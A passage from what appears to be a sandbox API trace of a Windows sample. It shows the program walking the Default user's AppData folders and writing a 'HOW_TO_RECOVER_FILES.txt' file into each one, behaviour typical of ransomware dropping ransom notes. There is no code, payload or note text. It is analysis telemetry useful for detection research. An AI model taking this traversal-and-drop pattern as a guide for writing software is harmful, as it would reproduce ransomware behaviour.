ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8c01f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0156.283] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0156.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0156.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0156.283] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData", lpFilePart=0x0) returned 0x18 [0156.283] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.283] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.437] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0156.437] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8c01f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0156.437] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.437] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0156.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0156.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0156.438] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local", lpFilePart=0x0) returned 0x1e [0156.438] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.438] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.438] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0156.438] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0156.438] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3af063e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0156.439] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8b6f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0156.439] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0156.439] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0156.439] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0156.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0156.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0156.439] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local", lpFilePart=0x0) returned 0x1e [0156.439] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.440] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.440] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0156.440] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0156.440] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3af063e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0156.440] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8b6f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0156.440] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0156.440] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.441] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0156.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0156.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0156.441] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x2f [0156.441] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0156.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec4f0) returned 1 [0156.443] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Application Data\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0156.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0156.443] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\local\\application data\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.444] GetFileType (hFile=0x80c) returned 0x1 [0156.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0156.444] GetFileType (hFile=0x80c) returned 0x1 [0156.444] WriteFile (in: hFile=0x80c, lpBuffer=0x3399ce8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3399ce8*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0156.445] CloseHandle (hObject=0x80c) returned 1 [0156.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0156.445] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\History", lpFilePart=0x0) returned 0x26 [0156.445] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0156.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec4f0) returned 1 [0156.447] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\History\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3f [0156.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0156.447] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\appdata\\local\\history\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0156.450] GetFileType (hFile=0x80c) returned 0x1 [0156.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0156.450] GetFileType (hFile=0x80c) returned 0x1 [0156.450] WriteFile (in: hFile=0x80c, lpBuffer=0x33aa3b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x33aa3b8*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0156.451] CloseHandle (hObject=0x80c) returned 1 [0156.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0156.451] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x28 [0156.452] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3af063e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.452] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3af063e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.452] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa27e7c13, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa27e7c13, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0156.452] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0156.452] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c89cf2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9e2bf1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0156.452] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8af60, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WINDOW~2")) returned 1 [0156.453] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8af60, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WINDOW~2")) returned 0 [0156.453] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0156.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0156.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0156.453] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x28 [0156.453] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3af063e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.453] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3af063e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.453] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa27e7c13, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa27e7c13, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0156.453] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0156.454] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c89cf2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9e2bf1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0156.454] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8af60, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 